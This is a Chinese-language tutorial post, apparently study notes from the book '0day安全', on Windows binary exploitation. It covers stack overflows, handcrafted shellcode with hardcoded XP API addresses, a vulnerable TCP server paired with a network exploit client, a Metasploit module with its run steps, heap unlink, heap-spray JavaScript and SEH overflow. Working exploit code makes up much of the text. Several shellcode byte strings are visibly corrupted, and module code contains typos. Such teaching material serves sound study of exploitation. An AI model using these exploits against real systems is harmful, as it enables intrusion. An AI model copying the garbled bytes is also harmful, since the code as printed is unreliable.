-
-
[原创]二进制漏洞分析与挖掘
-
发表于: 2023-2-6 09:16 12598
-
本公众号分享的所有技术仅用于学习交流,请勿用于其他非法活动,如果错漏,欢迎留言指正
二进制漏洞分析与挖掘
《0day安全:软件漏洞分析技术第2版》王清电子工业出版社
入门用,但不全,过时了,linux部分没有包含进去
- 漏洞分析、挖掘和利用,安全领域重要和最具挑战性和对抗性的分支
BUG
:软件的功能性逻辑缺陷。影响软件的正常功能。漏洞
:能够导致软件做一些超出设计范围的事情的bug,则漏洞。这类BUG,通常不会影响软件的正常功能,但如果被攻击者利用之后,会执行一些恶意的代码(漏洞挖掘者一般弹出对话框和calc.exe,下载木马病毒到目标电脑上或者挖矿程序等)。0Day
:攻击者掌握的未被软件厂商修复的漏洞。- 定期更新软件厂商发布的补丁
- 不要访问不安全的网站(实在不行在虚拟机中访问)
- 不安装来路不明的软件
1Day
:已经被软件厂商修复的漏洞,但用户没有打补丁。POC代码
:Proof of Concept,证明漏洞存在或者利用漏洞的代码,exploit的过程- 漏洞出现,但
POC代码
还没有公布,漏洞依然不会产生太大的破坏性,一旦POC代码
还没有公布,后果很严重 - 白帽子发现漏洞会告知软件厂商修复,不会公布
POC代码
- 黑帽发现漏洞,也不会公开
POC代码
,留着自己玩。
- 漏洞出现,但
EXP
用来进行恶意攻击- Exploit(利用)的缩写。当漏洞被证实确实存在后,黑客就会利用网上公开的或自己挖掘到的漏洞信息(包括PoC)编写利用代码或制作相应的攻击工具,就被称为EXP。
- 披露类型分为四种:
- 不披露
- 完全披露
- 负责任的披露
- 协同披露
参考网址:1.cve.mitre.orgcert.org
2.cert.org
3.blogs.360.cn
4.https://www.anquanke.com/
5.freebuf.com
乌云(关闭了,可能是因为模式的问题(一旦提交漏洞之后,通知软件厂商,限时修复,过期就会把漏洞细节公布),因此得罪了很大一部分人)
缓冲区溢出攻击分析
- 缓冲区溢出分类
- 栈溢出
- 堆溢出
- 溢出
根本原因
:冯洛伊曼计算机体系(存储程序)未对数据和代码明确区分
- 图灵机的原型是
明确区分数据和代码
的,当时哈佛
计算机就是按照这个原型设计的。 - 冯洛伊曼计算机体系流行的原因是:大大简化体系设计的复杂度,不会造成性能的瓶颈。
- 图灵机的原型是
- 攻击的
过程
ShellCode
- 正常情况下,栈是用来存放
数据
(参数和局部变量),不应该存放代码
的 - ShellCode存放在栈上,栈溢出
- 正常情况下,栈是用来存放
Exploit
--利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | / * * * 函数参数右往左次入栈,栈对齐,参数大小会提升到 4 个字节,比如char,short 1Byte / 2Byte 数据存放在 4Byte 的空间中 * 在printf中 float 会提升到double( 4Byte - > 8Byte ) * * stcpy不会对拷贝的长度进行检查,从地址往高地址拷贝,当拷贝长度大于局部变量的空间,就会产出栈溢出,可以精心构造,把老的eip覆盖成shellcode的地址, * 函数执行返回的时候,就会去执行shellcode,加密磁盘,下载木马,反向链接客户端(肉鸡,在目标计算机打开一个端口,连接自己电脑,通过这个通道控制计算,甚至系统重启,反向链接依旧可以保持) * 低 - - - - - - - - - < - - - esp * | |局部变量区| / \ * | - - - - - - - - - - < - - - ebp | * | | 老ebp | | * | - - - - - - - - - - | * | | 老eip | | * 内 - - - - - - - - - - < - - - - ebp栈平衡 栈 * 存 | 参数 1 | 增 * 增 - - - - - - - - - - 长 * 长 | ... | 方 * 方 - - - - - - - - - - 向 * 向 | 参数n | | * | - - - - - - - - - - | * \ / * 高 * / |
shellcode
- shellcode是一段可执行的
机器码
(指令)的十六进制
编码字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | / / / 构造一个shellcode,通过栈溢出,实现弹出计算器,即system( "calc.exe" ); / / LoadLibrary( "msvcrt.dll" ); / / system( "calc.exe" ); / / ExitProcess() / / / @todo shellcode这些函数的地址硬编码了,如果引入地址随机化技术(PE加载的ImageBase不再是 0x00400000 )之后,每次程序重新启动后,这些函数的地址都是变化的。 / / / @todo 不兼容多平台,最好不使用硬编码,而是动态搜寻函数地址。 / / / @todo 自加解密,自压缩解压,加解壳,让shellcode绕开防火墙或者杀毒软件的检测 / / / @attention strcpy()拷贝数据不能包含 '\x00' ,即 '\0' ,会被提前截断。比如mov edi, 0 ;这条汇编的机器码必然包含 00 ,所以使用oxr edi,edi;替换 / / / x86是低位优先存储,所以需要把机器码按照低位优先的格式反过来构造shellcode的字符串 unsigned char sh[] = / / 函数执行前序言部分 "\x8B\xE5" / / MoV ESP,EBP; '\x8B' 其中`\x`是转义字符,表示后面跟着一个两位的十六进制数 "\x55" / / PUSH EBP "\x8B\xEC" / / mov ebp,esp; 提升栈底 "\x33\xFF" / / xor edi,edi;这里的 0 ,是字符串的结束符 '\0' "\x57" / / push edi; 0ch - 8 = 4Byte ,多出来 4 个字节的 0 "\x83\xEC\x08" / / sub esp, 08h "\xc6\x45\xF4\x6D" / / mov byte ptr [ebp - 0ch ], 'm' ; 后进先出 "\xc6\x45\xF5\x73" / / 's' "\xc6\x45\xF6\x76" / / 'v' "\xc6\x45\xF7\x63" / / 'c' " "\xc6\x45\xF8\x72" / / 'r' "\xc6\x45\xF9\x74" / / 't' "\xc6\x45\xFA\×2E" / / '.' "\xc6\x451xFB1x64" / / 'd' "\xc61x451xFc\x6C" / / 'l' "\xc6\x45\xFD\x6C" / / 'l' "\x8D\x45\xF4" / / lea eax,[ebp - 0ch ]; "msvcrt.dll" 的首地址 "\x50" / / push eax; 参数入栈 "\xB8\x7B\x1D\x80\x7c" / / mov eax, 7C801D7Bh ; LoadLibrary函数的地址 "\xFF\xD0" / / call eax; LoadLibrary( "msvcrt.dll" ),system()的地址在msvcrt.dll中。 "\x33\xDB" / / xor ebx,ebx "\x53" / / push ebx; '\0' "\x68\x2E\x65\x78\x65" / / push "exe." "\x68\x63\x61\x6c\x63" / / push "calc" 数据在内存中按低位优先存储,栈的增长方向是从高向低,(高 - >低)所存储的是 "exe.calc" ,即(低 - >高)所存储的是 "clac.exe" ,可以更抽象一层,只需要记得栈是后进先出的,就可以屏蔽掉这些验算了 "\x8B\xC4" / / mov eax,esp; esp指向 "clac.exe" 的首地址 "\x50" / / push eax; 传参 "\xB8\xC7\x93\xBF\x77" / / mov eax, 77BF93C7h ; system()的地址 "\xFF\xD0" / / call eax; system( "calc.exe" ) "\xB8lxFAlxCA1x81lx7C" / / mov eax, 7c81cafah ; ExitProcess()的地址 "\xFF\xD0" / / call eax; ExitProcess(),shellcode可能会破坏程序栈上的的其他数据,导致程序执行报错弹窗,用户可能会发现,执行完shellcode之后默默退出,隐秘性更高。 |
- 设计shellcode的思路
- 提取机器码(VS直接调试提取)(shellcode test,选一个C程序demo)
- 先写一个正向的代码
- 下断点拿到正向代码反汇编,把机器码包含
00
的指令手动改写替换其他功能相同的非00
汇编指令 - __asm{正向代码的反汇编}编译运行调试验证一下看功能是否正常
- 把验证过的机器码构建成shellcode,即
unsigined char shellcode[]="验证过的机器码"
- 测试shellcode,即构造一个函数指针类型,
typedef void(*Func)()
,在main函数中调用((Func)&shellcode)()
来调试
- 提取机器码(VS直接调试提取)(shellcode test,选一个C程序demo)
- 优化通用性,避免硬编码
- 获取调用的API地址
1 2 3 4 5 6 | HINSTANCE LibHandle; MYPROC ProcAdd; LibHandle = LoadLibrary( "msvcrt.dll" ); / / 加载函数所在的dll到内存空间中,查微软文档即可知道函数对应的dll,这里使用相对地址,存在dll劫持漏洞,应该使用绝对地址 printf( "kernel32LibHandle = 0x%x\n" , LibHandle); ProcAdd = (MYPROC)GetProcAddress(LibHandle, "system" ); / / 拿到函数的地址,如果没有加入地址随机化,则函数的地址是固定的。 printf( "system= 0x%x\n" , ProcAdd); |
- 让shellcode中调用的API地址随平台变化而变化
1 2 3 4 5 6 7 8 9 10 11 12 13 | / / / xpsp3 77d29353 jmp esp 77d507ea messageboxa 77bf93c7 system msvcrt.dll 7c81cafa ExitProcess 7c801d7b LoadLibraryA / / / win2000 sp4 77df4c29 jmp esp 77e18098 messageboxa 78018ebf system msvcrt.dll 77e6e01a ExitRrocess 77e705cf LoadLibraryA |
JMP ESP
地址搜索(search opcode)- 除了需要找到shellcode中的函数其对应的地址,还需要找到
jmp esp
(对应的机器码是e4ff)的地址
(存放shellcode的位置是在栈上的形参或者是上一层函数栈空间上,具体的地址没有办法确定,因为程序没执行一次函数栈的空间都会改变一次)所以需要使用jmp esp
跳转到shellcode(用jmp esp地址去覆盖ret的返回地址,即老的eip,当函数返回执行ret的时候(老的eip已经被替换成了jmp esp地址,ret(pop eip)
;jmp esp),此时esp指向的是shellcode的起始位置;就会跳转到shellcode上执行 - 先找一个常驻内存的dll(系统一启动就加载到内存中的dll),比如
user32.dll
- 然后把这个dll加载到内存空间中,暴力搜索,找到
jmp esp
的地址
- 除了需要找到shellcode中的函数其对应的地址,还需要找到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | #include <windows.h> #include <stdio.h> #define DLL_NAME "user32.dll" //先找一个常驻内存的dll(系统一启动就加载到内存中的dll) int main() { BYTE * ptr; int position, address; HINSTANCE handle; BOOL done_flag = FALSE; handle = LoadLibrary(DLL_NAME); / / 把这个dll加载到内存空间中 if (!handle) { printf( " load dll erro !" ); exit( 0 ); } ptr = (BYTE * )handle; for (position = 0 ; !done_flag; position + + ) { try { if (ptr[position] = = 0xFF && ptr[position + 1 ] = = 0xE4 ) / / 暴力搜索,找到`jmp esp`的地址 { / / 0xFFE4 is the opcode of jmp esp int address = ( int )ptr + position; printf( "OPCODE found at 0x%x\n" , address); } } catch (...) { int address = ( int )ptr + position; printf( "END OF 0x%x\n" , address); done_flag = true; } } return 0 ; } |
1 2 3 4 5 6 7 | / / / 这个函数存在栈溢出漏洞 void msg_display(char * buf) { char msg[ 200 ]; / / msg存放栈上,且大小只有 200Bte strcpy(msg,buf); / / 如果buf< 200Byte ,一切正常,如果buf> = 200byte ,就会溢出msg,只需要拷贝 204 + 4Byte 就会覆盖掉老的eip,即函数的返回地址 cout<<msg<<endl; } |
- EXPLOIT:
任意字符串
+JMP ESP
的地址+SHELLCODE
构建攻击字符串 - 204Byte
任意字符(
燃料):存放在局部变量+老ebp的空间上 - jmp esp的
地址
(GPS导航):存放在老eip空间上。目标是跳转到shellcode。 - shellcode(弹头):
- 环境:xp系统+VC6(Vista及其以后的版本,vs2008及其以后加强了对缓冲区的保护,提高了利用难度)
通过文件
- 程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | / * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * To be the apostrophe which changed "Impossible" into "I'm possible" ! POC code of chapter 2.4 in book "Vulnerability Exploit and Analysis Technique" file name : stack_overflow_exec.c author : failwest date : 2006.10 . 1 description : demo show how to redirect EIP to executed extra binary code in buffer Noticed : should be complied with VC6. 0 and build into debug version the address of MessageboxA and the start of machine code in buffer have to be make sure in file "password.txt" via runtime debugging version : 1.0 E - mail : failwest@gmail.com Only for educational purposes enjoy the fun from exploiting :) * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * / #include <stdio.h> #include <windows.h> #define PASSWORD "1234567" int verify_password (char * password) { int authenticated; char buffer [ 44 ]; authenticated = strcmp(password,PASSWORD); / / 相等返回 0 strcpy( buffer ,password); / / over flowed here! 在高版本的编译器编译会warring4996 return authenticated; } main() { int valid_flag = 0 ; char password[ 1024 ]; FILE * fp; LoadLibrary( "user32.dll" ); / / prepare for messagebox / / 这部分应该放到shellcode中去执行 if (!(fp = fopen( "password.txt" , "rw+" ))) { exit( 0 ); } fscanf(fp, "%s" ,password); valid_flag = verify_password(password); if (valid_flag) { printf( "incorrect password!\n" ); } else { printf( "Congratulation! You have passed the verification!\n" ); } fclose(fp); } |
- shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | " 4321 / / 弹药 52 个字节的填充字节 4321 4321 4321 4321 4321 4321 4321 4321 4321 4321 4321 4321 \x53\x93\xd2\x77 / / jmp esp \x33\xdb / / xor ebx,ebx \x53 / / push ebx '\0' 进栈, '\0' 在最后,因为栈是由高往低增长,后进先出 \x68 / / push 'west' 一次push完, 4 个字节一次入栈 \x77 / / w \x65 / / e \x73 / / s \x74 / / t 将参数传给messagebox代码 \x68 / / push 'fail' 一次push完, 4 个字节 'fail west \0' < - - - >栈顶 - - - - - 栈底 \x66 / / f \x61 / / a \x69 / / i \x6c / / l \x8b\xc4 / / mov eax,esp 因此eax - - > 'failwest\0' \x53 / / push ebx ( 0 , 'failwest' , 'failwest' , 0 )messagebox4个参数依次入栈 \x50 / / push eax \x50 / / push eax \x53 / / push ebx \xb8 / / mov eax,messageboxa \xea\x07\xd5\x77 / / messageboxa的地址 \xff\xd0 / / call eax \x53\xb8 / / mov eax, ExitProcess \xfa\xca\x81\x7c / / ExitProcess地址 \xff\xd0 / / call eax \x90\x90\x90\x90\x90\x90" |
通过网络
- release版本没有老的ebp,即调用函数时不需要push esp
- 服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 | / * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * To be the apostrophe which changed "Impossible" into "I'm possible" ! POC code of chapter 4 in book "Vulnerability Exploit and Analysis Technique" file name : target_server.cpp author : failwest date : 2007.4 . 4 description : TCP server which got a stack overflow bug for exploit practice Noticed : Complied with VC 6.0 and build into release version are recommend version : 1.0 E - mail : failwest@gmail.com Only for educational purposes enjoy the fun from exploiting :) * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * / #include <iostream.h> #include <winsock2.h> #pragma comment(lib, "ws2_32.lib") void msg_display(char * buf) / / buf是从客户端传过来的 { char msg[ 200 ]; strcpy(msg, buf); / / overflow here, copy 0x200 to 200 cout << "********************" << endl; cout << "received:" << endl; cout << msg << endl; } void main() { int sock, msgsock, lenth, receive_len; struct sockaddr_in sock_server, sock_client; char buf[ 0x200 ]; / / noticed it is 0x200 WSADATA wsa; WSAStartup(MAKEWORD( 1 , 1 ), &wsa); if ((sock = socket(AF_INET, SOCK_STREAM, 0 )) < 0 ) { cout << sock << "socket creating error!" << endl; exit( 1 ); } sock_server.sin_family = AF_INET; / / ipv4 sock_server.sin_port = htons( 7777 ); / / 监听 7777 端口 sock_server.sin_addr.s_addr = htonl(INADDR_ANY); / / 服务器上任意ip地址 if (bind(sock, (struct sockaddr * )&sock_server, sizeof(sock_server))) { cout << "binging stream socket error!" << endl; } cout << "**************************************" << endl; cout << " exploit target server 1.0 " << endl; cout << "**************************************" << endl; listen(sock, 4 ); lenth = sizeof(struct sockaddr); do { msgsock = accept(sock, (struct sockaddr * )&sock_client, ( int * )&lenth); if (msgsock = = - 1 ) { cout << "accept error!" << endl; break ; } else do { memset(buf, 0 , sizeof(buf)); if ((receive_len = recv(msgsock, buf, sizeof(buf), 0 )) < 0 ) { cout << "reading stream message erro!" << endl; receive_len = 0 ; } msg_display(buf); / / trigged the overflow } while (receive_len); closesocket(msgsock); } while ( 1 ); WSACleanup(); } |
- 客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 | / / clientdemo.cpp : Defines the entry point for the console application. / / #include "stdafx.h" #include <winsock2.h> #include <windows.h> #include <stdio.h> #include <conio.h> / / xp sp3 #pragma comment(lib,"Ws2_32") unsigned char buff[ 0x200 ] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaa" / / 200 个a 没有老的eip "\x53\x93\xd2\x77" / / jmp esp "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x7b\x1d\x80\x7c" / / loadlibrary地址 "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65" "\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" "\xc7\x93\xbf\x77" / / sytem函数地址 system( "calc.exe" ); "\xFF\xD0" "\x53\xb8\xfa\xca\x81\x7c" / / ExitProcess Address "\xff\xd0" / / ExitProcess( 0 ); ; void main( int argc, char * argv[]) { int fd; int rtval; struct sockaddr_in addr; WORD wVersionRequested; WSADATA wsaData; int err; wVersionRequested = MAKEWORD( 2 , 2 ); err = WSAStartup(wVersionRequested, &wsaData); if (err ! = 0 ) { / * Tell the user that we could not find a usable * / / * Winsock DLL. * / printf( "WSAStartup failed with error: %d\n" , err); return ; } / / 建立TCP套接字 fd = socket(AF_INET, SOCK_STREAM, 0 ); / / 初始化客户端地址 memset(&addr, 0 , sizeof (addr)); / / 设置地址协议族 addr.sin_family = AF_INET; / / 设置要连接的IP地址 addr.sin_addr.s_addr = inet_addr(argv[ 1 ]); / / 设置端口 addr.sin_port = htons( 7777 ); / / 连接服务器端 rtval = connect(fd, (struct sockaddr * )&addr, sizeof (addr)); if (rtval = = - 1 ) return ; / / 向服务器端写数据 printf( "normal input:hello world\n" ); send(fd, (const char * ) "hello world" ,strlen( "hello world" ) + 1 , 0 ); printf( "press any key to start overflow\n" ); getch(); send(fd, (const char * )buff, sizeof(buff), 0 ); / / 从服务器端读数据 / / recv(fd, buff, 80 , 0 ); / / printf( "%s\n" , buff); / / 关闭套接字 closesocket(fd); WSACleanup(); return ; } |
冲击波漏洞
- MSO3-26,包含了2个溢出漏洞,一个是本地的,一个是远程的。他们都是由一个通用接口导致的。
- 导致问题的调用如下:
- hr =CoGetInstanceFromFile(pServerlnfo,NULE,0,CLSCTX_REMOTESERVER,STGM READWRlE,
L"C:\\1234561111111111111111111111111.doc"
,1,&qi); - 这个调用的文件名参数(第5个参数,会引起溢出,当这个文件名超长的时候,会导致客户端的本地溢出(在
RPCSS
中的GetPathForServer
函数里只给了0x20
字节的内存空间,但是是用lstrcpyw
进行拷贝的)
- hr =CoGetInstanceFromFile(pServerlnfo,NULE,0,CLSCTX_REMOTESERVER,STGM READWRlE,
- 在客户端给服务器传递这个参数的时候,会自动转化成如下格式:
L"\\servername\c$\1234561111111111111111111111111.doc"
这样的形式传递给远程服务器,于是在远程服务器的处理中会先取出servername
名,但是这里没做长度检查,给定了0×20内存空间预防
- shellcode是存放在栈上的,栈上的数据不应该有
可执行权限
,所以在新的系统和CPU不会执行栈上的代码。- 但是可以突破,shellcode不存放在栈上,而是在现有的内存中搜索,临时组装起来(ROP)。
- 只要程序能够接受到外部的输入(通过键盘,文件,网络),把攻击字符串传给它,它就会中招。Shellcode可以放在文件中(.jpg,.doc,.mp4,.html),网络包中等
MetaSploit自动化
- 环境:
Kali Linux
1 2 3 4 5 6 7 8 9 10 11 12 13 | class xxx def initialize #定义模块初始化信息,如漏洞适用的操作系统平台、为不同操作系统 #指明不同的返回地址、指明she1lcode中禁止出现的特殊字符、 #漏洞相关的描述、URL 引用、作者信息等 end def exploit #将填充物、返回地址、shellcode等组织成最终的attack buffer,并发送 end end |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | #!/usr/bin/env ruby require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Exp1oit::Remote::Tcp def initialize(info = {}) super (update info (info, 'Name' = > 'failwest test' , 'Platform' - > 'win' , 'Targets' = > [ [ 'windows 2000' ,{ 'Ret' = > 0x77F8948B }], #jmp esp的地址 [ 'windows xp SP2' ,{ 'Ret' - > 0x7C914393 }] ], 'Payload' = > { 'Space' = > 200 , #空间长度 'Badchars' = > "\x00" , #被排除的字符 } )) end #end of initialize def exploit connect attack_buf = 'a' * 200 + [target [ 'Ret' ]].pack( 'V' ) + payload encoded sock.put(attack_buf) #传输buf handler #处理 disconnect end #end of exploit def end #end of class def |
- 将写好的ruby脚本放到msf的下面的路径下
- Windows:
C:\metasploit\apps\pro\msf3\modules\exploits\windows\xxx
- Linux:
/usr/share/metasploit-framework/modules/exploits/windows/xxx
- Windows:
show exploits
应该能看到我们所添加的模块位于failwest/testuse failwesttest
选用我们添加的模块show targets
显示可用的目标操作系统set target 0
设置测试目标为Windows 2000系统show payloads
显示可用的 shellcodesct payload windowsl/exec
这个shellcode可以执行一条任意的命令show options
显示需要配置的信息set rhost xxx.XXX.XXX.XXX
设置目标主机的IP地址,如在本地测试,则为127.0.0.1set rport 7777
设置目标程序使用的端口,这里是7777set cmd calc
配置shellcode待执行的命令,“calc”用于打开计算器set exitfunc seh
可不设置,以SEH退出程序exploit
发送测试数据,执行攻击reload
重新加载修改之后的模块
堆溢出
- 堆的结构
- 堆是存放在桶里面(hash+顺序双向循环链表(逻辑上相邻结点在物理上时也是相邻的)),微软没有官方公开文档,堆的结构是haker调试的经验所得。
- 分配内存其实将双向循环链表中的结点摘掉,有
两次
内存写入的机会
- 堆溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | #include <stdio.h> #include <malloc.h> int main( void ) { char * p1 = malloc(Node0); strcpy(p1,buf); / / 如果多拷贝 16Byte ,就会覆盖Node1 - >fp和Node1 - >bp,把 * bp设置成任意地址,把 * fp设置成任意数据,造成缓冲区溢出 char * p2 = malloc(Node1); / / 发生malloc堆溢出攻击 return 0 ; } / / / 分配内存,即当把Node1结点摘掉的时候, Node1 - >bp - >fp = Node1 - >fp (Node1 - >where) = (Node1 - >what) / / fp在Node1中的offset是 0 ,即Node1绕过了前 8 个字节,直接指向fp,即(Node0指向Node1中的地址 + 0x00 ) Node1 - >fp - >bp = Node1 - >bp (Node1 - >what) = (Node1 - >where) / / bp在Node1中的offset是 4 ,即(Node0指向Node1中的地址 + 0x04 ) / / / 链表的定义 / / / 往普通结构体中插入双向指针,就演变成了一个双向链表的节点了 typedef struct _MYDATA_LIST_ENTRY { int p_size int s_size LIST_ENTRY Entry; WCHAR data[MAX_PATH]; }MYDATALIST_ENTRY, * PMYDATALIST_ENTRY / / 通过Entry遍历链表,由于指针指向的不是MYDATALIST_ENTRY的首地址,而是指向MYDATALIST_ENTRY.Entry,所以需要计算出MYDATALIST_ENTRY的首地址,通过MYDATALIST_ENTRY的首地址访问节点内的其他成员 / / 不能这样机械类比。这个是程序中的链表。和堆管理的链表还不太一样。 / / 堆管理的链表其实也没有公开文档。只是黑客自己分析出来的。 / / 但也不排除程序中的链表实际上也存在表示链表节点大小的额外头部数据结构 |
0day安全:软件漏洞分析技术第2版》王清电子工业出版社
- where:任意地址
- 内存变量地址
- 代码逻辑地址
- 返回地址
- SEH
- PEB
- 函数指针(C++虚函数指针)
- what:任意数据
- 0x7ffdf020 is the position in PEB.which hold a pointer to RtlEnterCriticalSection((7F89103)
- Shellcode最后一行:(what,where)
x30\x70\x40\x00``\20\xf0\xfd\x7f
- 执行RtlEnterCriticalSection()->shellcode→RtlEnterCriticalSection()-> MessageBox→
@todo堆喷射
- 浏览器上的漏洞
- 栈溢出的另一个形式
- 把栈上老eip的值改成0x0c0c0c0c
- 再堆上分配0x00000000-0x0c800000(200M),
- 0x900x900x90...shellcode(0xc0c0c0c0)\0\0
- 为什么shellcode前面有很多nop?
- 跳转指令无法精确定位shellcode的地址。比如ret→0x0c0c0c0c,但0x0c0c0c0c这个位置不一定就是
shellcode的起始地址
(分配的内存不一定从0开始,只是在0附近),这个时候,用nop指令扩大shellocode的面积,即可提高命中几率
。
- 跳转指令无法精确定位shellcode的地址。比如ret→0x0c0c0c0c,但0x0c0c0c0c这个位置不一定就是
- 为什么非要跳转到0xOc0c0c0c?
- 返回地址位置在字符串中位置可能不固定,大面积扫射返回地址(用0x0c0c0c0c去填充后面的字符串,命中的概率是100%(返回地址的位置一定会被填充上0x0c0c0c0c)),并采用字节相同的双字跳转地址:0x0c0c0c0c
1 2 3 4 5 6 7 8 9 | / / / 假如浏览器中有这样一个溢出漏洞: void get_install_path(char filename,char * fullpath) { char inst_dir[ 260 ]; get_install_dir(inst_dir); / / 获取qq的安装目录 "c:\\cisco\\QQ" ,安装目录每个人的系统用户名是不一样的,所以安装目录的长度无法确定 strcat(inst_dir,filename); / / "c:\\cisco\\QQ\\qq.exe" 260 字节被安装目录占了一部分空间,要造成溢出传入字符串的长度是无法确定的,很难命中返回地址 strcpy(fullpath,inst_dir); ... } |
- 浏览器一般0x06060606,或者其他都行。当涉及到c++的
vtable
时,对指针解析到0x0c0c0c0c,可以达到栈喷射的目的。如果没有解析到0x0c0c0c0c,半路上执行0c0c0c0c,等价于or AL,0c
,是nop-alike指令,对系统没有造成太大影响 - 思路
- 构造shellcode放入.html文件中
- 用IE浏览器打开.html,执行javascript代码
- 写一个dll(存在栈溢出漏洞的dll)
- 将dll注入到IE浏览器中,触发漏洞(传一个精心构造的字符串,把栈上老eip设置成0x0c0c0c0c)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | <! - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - To be the apostrophe which changed "Impossible" into "I'm possible" ! POC code of chapter 6 in book "Vulnerability Exploit and Analysis Technique" file name : heap_spray.txt author : failwest date : 2007.10 . 05 description : sample java script code for heap spray Noticed : need to be run by browser version : 1.0 E - mail : failwest@gmail.com Only for educational purposes enjoy the fun from exploiting :) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - > <script language = "javascript" > var shellcode = unescape( "....." ) ; / / 存放shellcode的内容,unescape解码 十六进制编码 - > unicode 编码:\xc66\x45 - >\u45c6 var nop = unescape( "%u9090%u9090" ); / / unescape解码 while (nop.length< = 0x100000 / 2 ) { nop + = nop; } / / generate 1MB memory block which full filled with "nop" / / 0x100000 / 2 即 2 ^ 21 / 2 = 2 ^ 20 即 1MB 0001 0000 0000 0000 0000 0000 / / malloc header = 32 bytes / / string length = 4 bytes / / NULL terminator = 2 bytes / / nop = nop.substring( 0 , 0x100000 / 2 - 32 / 2 - 4 / 2 - shellcode.length - 2 / 2 ); var slide = new Array(); / / fill 200MB heap memory with our block for (var i = 0 ; i< 200 ; i + + ) { slide[i] = nop + shellcode; / / 每 1M 都由 0x90 0x90 0x90 0x90 0x90 0x90 ... shellcode \ 0 \ 0 组成 } < / script> |
@todo
SEH溢出
1 2 3 4 5 6 7 | / / / 结构化异常处理函数 _try { strcpy(buf, input ); zero = 4 / zero; / / Floating point exception @todo } _except(MyExceptionhandler()){} / / 定义自己的异常处理函数,一旦发生 4 / 0 ,就会调用异常处理函数 |
- OllyDbg菜单
“View”
中的"SEH chain"
, Ollydbg 会显示出目前栈中所有的S.E.H
- S.E.H结构体存放在系统栈中。异常处理函数放在一个链表里面,然后该链表的头地址放在栈上。
- 当线程初始化时,会自动向栈中安装一个 S.E.H,作为线程默认的异常处理。
- 如果程序源代码中使用了
_try{}_except{ }
或者Assert
宏等异常处理机制,编译器将最终通过向当前函数栈帧中安装一个S.E.H来实现异常处理。(就是说在函数栈上除了ret的函数的返回地址
,还有保存着一个异常处理函数的地址
,可以像覆盖ret的地址那样去覆盖异常处理函数的地址,让其执行shellcode
) - 栈中一般会同时存在多个S.E.H.
- 栈中的多个S.E.H通过链表指针在栈内由
栈项
向栈底
串成单向链表
,位于链表最顶端
的S.E.H
通过T.E.B
(线程环境块) 0字节偏移处的指针标识。 - 当异常发生时,操作系统会
中断
程序,并首先从T.E.B的0
字节偏移处取出距离栈顶最近的S.E.H
,使用异常处理函数句柄所指向的代码来处理异常。 - 当离“事故现场”最近的异常处理函数运行
失败
时,将顺着S.E.H 链表依次尝试其他的。 - 如果程序安装的所有异常处理函数
都
不能处理,系统将采用默认
